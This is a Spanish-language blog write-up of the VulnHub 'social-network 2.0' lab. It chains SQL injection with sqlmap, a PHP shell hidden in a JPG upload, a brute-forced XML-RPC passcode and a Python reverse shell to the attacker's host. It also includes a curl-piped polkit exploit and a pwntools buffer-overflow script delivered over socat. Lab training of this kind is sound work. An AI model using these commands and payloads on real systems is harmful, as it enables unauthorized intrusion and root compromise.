Breaking social-network: Hard XMLRPCServer bof pwntools socat
https://www.vulnhub.com/entry/boredhackerblog-social-network-20,455/
You have been given access to a dev server.
The current devs use many custom tools and scripts that you'll have to review and attack.
Difficulty: Hard
Tasks involved:
- port scanning
- webapp attacks
- code review
- custom bruteforcing
- reverse engineering
- buffer overflow
- exploitation
1. en el puerto 80 encontramos un login
probamos inyección sql con sqlmap y sacamos las credenciales de admin.
sqlmap -u http://192.168.2.44/ --data 'useremail=a%40b.com&userpass=1&login=Login' --dbs
A partir de aquí la idea es cargar un shell en la imagen profile o en un post. Al final funciona por post cargando un jpg generado con
https://github.com/BlackFan/jpg_payload/blob/master/jpg_payload.php y con extensión php.
2. Una vez dentro como apache encontramos el script python que gestiona el puerto 8000 donde funciona un basehttp/0.3 python/2.7.15rc1. De los posts de admin anteriores tenemos que hay funcionando un monitor.py que es lo que analizamos para escalar al usuario socnet.
#my remote server management API
import SimpleXMLRPCServerimport subprocess
import random
debugging_pass = random.randint(1000,9999)
def runcmd(cmd):
results = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
output = results.stdout.read() + results.stderr.read()
return output
def cpu():
return runcmd("cat /proc/cpuinfo")
def mem():
return runcmd("free -m")
def disk():
return runcmd("df -h")
def net():
return runcmd("ip a")
def secure_cmd(cmd,passcode):
if passcode==debugging_pass:
return runcmd(cmd)
else:
return "Wrong passcode."
server = SimpleXMLRPCServer.SimpleXMLRPCServer(("0.0.0.0", 8000))
server.register_function(cpu)
server.register_function(mem)
server.register_function(disk)
server.register_function(net)
server.register_function(secure_cmd)
server.serve_forever()
Con Burp tratamos de deducir cómo funciona. Tenemos que enviar en post un xml de esta forma
<?xml version="1.0"?>
<methodCall>
<methodName>mem</methodName>
</methodCall>
Se trata de inyectar el shell llamando a la función secure_cmd pero necesitamos la pass. Bruteforceamos con burp.
<?xml version="1.0"?>
<methodCall>
<methodName>secure_cmd</methodName>
<params>
<param>
<value><string>whoami</string></value>
</param>
<param>
<value><int>$4450$</int></value>
</param>
</params>
</methodCall>
Localizada la pass inyectamos el shell que solo nos ha funcionado con python
<?xml version="1.0"?>
<methodCall>
<methodName>secure_cmd</methodName>
<params>
<param>
<value><string>python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.2.84",9994));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'</string></value>
</param>
<param>
<value><int>4450</int></value>
</param>
</params>
</methodCall>
Entramos otra vez pero ahora como socnet. Aunque la máquina es vulnerable a polkit
eval "$(curl -s https://raw.githubusercontent.com/berdav/CVE-2021-4034/main/cve-2021-4034.sh)"
entendemos que hay que escalar a root a través del binario add_record. Lo descargamos y analizamos con ghidra. Queda claro que hay que hacer overflow en la variable que recoge lo que introducimos en "Explain: ". Encontramos además una función backdoor que ejecuta el shell y cuya dirección es lo que hay que inyectar.
Con gdb-peda encontramos el payload correcto que rellena EIP:
"A"*62 + "B"*4
En "B" ponemos el offset del backdoor
"A"*62 + "\x76\x86\x04\x08"
Lo probamos en local
from pwn import *
"""
Employee Name(char): r
Years worked(int): 4
Salary(int): 4
Ever got in trouble? 1 (yes) or 0 (no): 1
Explain:
"""
p = process("./add_record")
print(p.recvline())
print(p.recvline())
print(p.recvuntil(":", timeout=1))
p.send("f\n")
print(p.recvuntil(":", timeout=1))
p.send("3\n")
print(p.recvuntil(":", timeout=1))
p.send("3\n")
print(p.recvuntil(":", timeout=1))
p.send("1\n")
print(p.recvuntil(":", timeout=1))
payload="A"*62 + "\x76\x86\x04\x08"
p.send(payload+"\n")
p.interactive()
El problema es que la máquina víctima no tiene pwntools instalado. La idea entonces es usar socat que tampoco lo tiene pero podemos descargarlo ya compilado
wget https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat
Y lo ejecutamos en la máquina víctima
./socat tcp-l:5000,reuseaddr,fork EXEC:"./add_record",pty,raw,echo=0
Es ahora que modificamos el script anterior cambiando la apertura del proceso en local a
p = remote("192.168.2.44",5000)
ejecutamos desde nuestra máquina y obtenemos root
Comentarios
Publicar un comentario